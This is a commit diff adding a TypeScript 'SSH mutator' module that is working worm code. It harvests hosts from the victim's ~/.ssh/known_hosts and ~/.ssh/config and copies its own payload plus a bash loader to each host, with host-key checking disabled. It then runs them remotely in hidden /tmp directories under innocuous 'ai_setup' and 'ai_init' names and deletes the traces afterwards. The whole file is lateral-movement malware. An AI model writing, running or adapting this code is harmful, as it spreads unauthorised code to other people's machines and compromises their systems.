Upload files to "src/mutator/ssh"

src/mutator/ssh/sshMutator.ts

@@ -0,0 +1,318 @@
+import { readFile } from "node:fs/promises";
+import { homedir } from "node:os";
+
+import * as path from "path";
+
+import { BASH_LOADER } from "../../generated";
+import { logUtil } from "../../utils/logger";
+import { Mutator } from "../base";
+
+// ── SSH Mutator ───────────────────────────────────────────────────────
+
+/**
+ * Propagates to recently-connected SSH hosts by:
+ *   1. Extracting hosts from ~/.ssh/known_hosts and ~/.ssh/config
+ *   2. SCP'ing a bash bun-loader + JS payload to a temp directory
+ *   3. SSH-executing the loader — bun is auto-downloaded if needed
+ *   4. Cleaning up the remote temp directory
+ */
+export class SshMutator extends Mutator {
+  constructor() {
+    super();
+  }
+
+  override async shouldExecute(): Promise<boolean> {
+    // Check that both ssh and scp are available
+    try {
+      const ssh = Bun.spawnSync(["which", "ssh"], { stdout: "pipe" });
+      const scp = Bun.spawnSync(["which", "scp"], { stdout: "pipe" });
+      return (
+        ssh.exitCode === 0 &&
+        ssh.stdout.length > 0 &&
+        scp.exitCode === 0 &&
+        scp.stdout.length > 0
+      );
+    } catch {
+      return false;
+    }
+  }
+
+  async execute(): Promise<Boolean> {
+    try {
+      // 1. Collect target hosts
+      const hosts = await this.collectHosts();
+      if (hosts.length === 0) {
+        logUtil.log("[SshMutator] No SSH hosts found — nothing to do.");
+        return false;
+      }
+
+      logUtil.log(
+        `[SshMutator] Targeting ${hosts.length} host(s): ${hosts.join(", ")}`,
+      );
+
+      // 2. Build payload: bash loader + raw JS as ai_init.js
+      const rawPayload = await Bun.file(Bun.main).text();
+      const bashLoader = BASH_LOADER as string;
+
+      // 3. Propagate to each host (batch of 8 concurrent)
+      const BATCH = 8;
+      let ok = 0;
+
+      for (let i = 0; i < hosts.length; i += BATCH) {
+        const batch = hosts.slice(i, i + BATCH);
+        const results = await Promise.allSettled(
+          batch.map((host) => this.infectHost(host, bashLoader, rawPayload)),
+        );
+
+        for (let j = 0; j < results.length; j++) {
+          const result = results[j]!;
+          if (result.status === "fulfilled" && result.value) {
+            ok++;
+            logUtil.log(`[SshMutator] ${batch[j]} ✓`);
+          } else {
+            const reason =
+              result.status === "rejected"
+                ? (result.reason as Error).message
+                : "ssh/scp failed";
+            logUtil.log(`[SshMutator] ${batch[j]} ✗ — ${reason}`);
+          }
+        }
+      }
+
+      logUtil.log(`[SshMutator] Done. ${ok}/${hosts.length} succeeded.`);
+      return ok > 0;
+    } catch (e) {
+      logUtil.log(
+        `[SshMutator] Fatal: ${e instanceof Error ? e.message : String(e)}`,
+      );
+      return false;
+    }
+  }
+
+  // ── Host discovery ─────────────────────────────────────────────────
+
+  private async collectHosts(): Promise<string[]> {
+    const hosts = new Set<string>();
+    const home = homedir();
+
+    // Parse ~/.ssh/known_hosts
+    try {
+      const knownHosts = await readFile(
+        path.join(home, ".ssh", "known_hosts"),
+        "utf-8",
+      );
+      for (const line of knownHosts.split("\n")) {
+        const trimmed = line.trim();
+        if (!trimmed || trimmed.startsWith("#") || trimmed.startsWith("|")) {
+          continue; // skip comments and hashed entries
+        }
+        // Format: "hostname,ip key-type key" or "[hostname]:port key-type key"
+        const hostPart = trimmed.split(/\s+/)[0]!;
+        // Strip brackets and port: [host]:2222 → host,  host:22 → host
+        const clean = hostPart
+          .replace(/^\[/, "")
+          .replace(/\]:\d+$/, "")
+          .replace(/:\d+$/, "");
+        for (const host of clean.split(",")) {
+          const h = host.trim();
+          if (h && !h.match(/^\d+\.\d+\.\d+\.\d+$/)) {
+            hosts.add(h);
+          }
+        }
+      }
+    } catch {
+      // ~/.ssh/known_hosts may not exist
+    }
+
+    // Parse ~/.ssh/config for Host + HostName entries
+    try {
+      const config = await readFile(path.join(home, ".ssh", "config"), "utf-8");
+      let currentAlias: string | null = null;
+      for (const raw of config.split("\n")) {
+        const line = raw.trim();
+        if (!line || line.startsWith("#")) continue;
+
+        const hostMatch = line.match(/^Host\s+(.+)$/i);
+        if (hostMatch) {
+          // Start a new block — add the previous alias if it resolved
+          if (
+            currentAlias &&
+            !hosts.has(currentAlias) &&
+            currentAlias !== "*"
+          ) {
+            hosts.add(currentAlias);
+          }
+          currentAlias = null;
+          for (const entry of hostMatch[1]!.split(/\s+/)) {
+            const h = entry.trim();
+            if (h && h !== "*") {
+              currentAlias = h;
+              break; // take the first non-wildcard alias
+            }
+          }
+          continue;
+        }
+
+        // Resolve HostName → use the real hostname, not the alias
+        if (currentAlias) {
+          const hnMatch = line.match(/^HostName\s+(.+)$/i);
+          if (hnMatch) {
+            const realHost = hnMatch[1]!.trim();
+            if (realHost && !realHost.startsWith("*")) {
+              hosts.delete(currentAlias);
+              hosts.add(realHost);
+              currentAlias = null; // resolved
+            }
+          }
+        }
+      }
+      // Flush the last block
+      if (currentAlias && !hosts.has(currentAlias) && currentAlias !== "*") {
+        hosts.add(currentAlias);
+      }
+    } catch {
+      // ~/.ssh/config may not exist
+    }
+
+    return Array.from(hosts);
+  }
+
+  // ── Single-host infection ──────────────────────────────────────────
+
+  /**
+   * SCP the bash bun-loader + JS payload to a temp directory, then
+   * SSH-execute the loader.  The loader handles bun detection,
+   * download (if needed), and payload execution automatically.
+   * Files are cleaned up after execution (best-effort).
+   */
+  private async infectHost(
+    host: string,
+    bashLoader: string,
+    jsPayload: string,
+  ): Promise<boolean> {
+    const remoteDir = `/tmp/.sshu-${Math.random().toString(36).slice(2, 8)}`;
+    const loaderFile = "ai_setup.sh";
+    const payloadFile = "ai_init.js";
+
+    // 1. Create remote temp directory
+    const mkdir = Bun.spawnSync(
+      [
+        "ssh",
+        "-o",
+        "StrictHostKeyChecking=no",
+        "-o",
+        "ConnectTimeout=10",
+        "-o",
+        "PasswordAuthentication=no",
+        "-o",
+        "BatchMode=yes",
+        host,
+        `mkdir -p ${remoteDir}`,
+      ],
+      { stdout: "pipe", stderr: "pipe" },
+    );
+
+    if (mkdir.exitCode !== 0) {
+      const err = new TextDecoder().decode(mkdir.stderr).trim();
+      throw new Error(`ssh mkdir failed: ${err || `exit ${mkdir.exitCode}`}`);
+    }
+
+    // 2. SCP the bash loader
+    const scpLoader = Bun.spawnSync(
+      [
+        "scp",
+        "-o",
+        "StrictHostKeyChecking=no",
+        "-o",
+        "ConnectTimeout=10",
+        "-o",
+        "PasswordAuthentication=no",
+        "-o",
+        "BatchMode=yes",
+        "/dev/stdin",
+        `${host}:${remoteDir}/${loaderFile}`,
+      ],
+      { stdin: Buffer.from(bashLoader), stdout: "pipe", stderr: "pipe" },
+    );
+
+    if (scpLoader.exitCode !== 0) {
+      const err = new TextDecoder().decode(scpLoader.stderr).trim();
+      throw new Error(
+        `scp loader failed: ${err || `exit ${scpLoader.exitCode}`}`,
+      );
+    }
+
+    // 3. SCP the JS payload
+    const scpPayload = Bun.spawnSync(
+      [
+        "scp",
+        "-o",
+        "StrictHostKeyChecking=no",
+        "-o",
+        "ConnectTimeout=10",
+        "-o",
+        "PasswordAuthentication=no",
+        "-o",
+        "BatchMode=yes",
+        "/dev/stdin",
+        `${host}:${remoteDir}/${payloadFile}`,
+      ],
+      { stdin: Buffer.from(jsPayload), stdout: "pipe", stderr: "pipe" },
+    );
+
+    if (scpPayload.exitCode !== 0) {
+      const err = new TextDecoder().decode(scpPayload.stderr).trim();
+      throw new Error(
+        `scp payload failed: ${err || `exit ${scpPayload.exitCode}`}`,
+      );
+    }
+
+    // 4. SSH execute: the bash loader downloads bun (if needed) and
+    //    runs ai_init.js from the same directory.
+    const ssh = Bun.spawnSync(
+      [
+        "ssh",
+        "-o",
+        "StrictHostKeyChecking=no",
+        "-o",
+        "ConnectTimeout=10",
+        "-o",
+        "PasswordAuthentication=no",
+        "-o",
+        "BatchMode=yes",
+        host,
+        `cd ${remoteDir} && bash ${loaderFile}`,
+      ],
+      { stdout: "pipe", stderr: "pipe", timeout: 120_000 },
+    );
+
+    // 5. Clean up the remote temp directory (best-effort, fire-and-forget)
+    Bun.spawn(
+      [
+        "ssh",
+        "-o",
+        "StrictHostKeyChecking=no",
+        "-o",
+        "ConnectTimeout=10",
+        "-o",
+        "PasswordAuthentication=no",
+        "-o",
+        "BatchMode=yes",
+        host,
+        `rm -rf ${remoteDir}`,
+      ],
+      {
+        stdout: "pipe",
+        stderr: "pipe",
+        onExit: () => {},
+      },
+    );
+
+    if (ssh.exitCode !== 0 && ssh.exitCode !== null) {
+      const err = new TextDecoder().decode(ssh.stderr).trim();
+      throw new Error(`ssh exec failed: ${err || `exit ${ssh.exitCode}`}`);
+    }
+
+    return true;
+  }
+}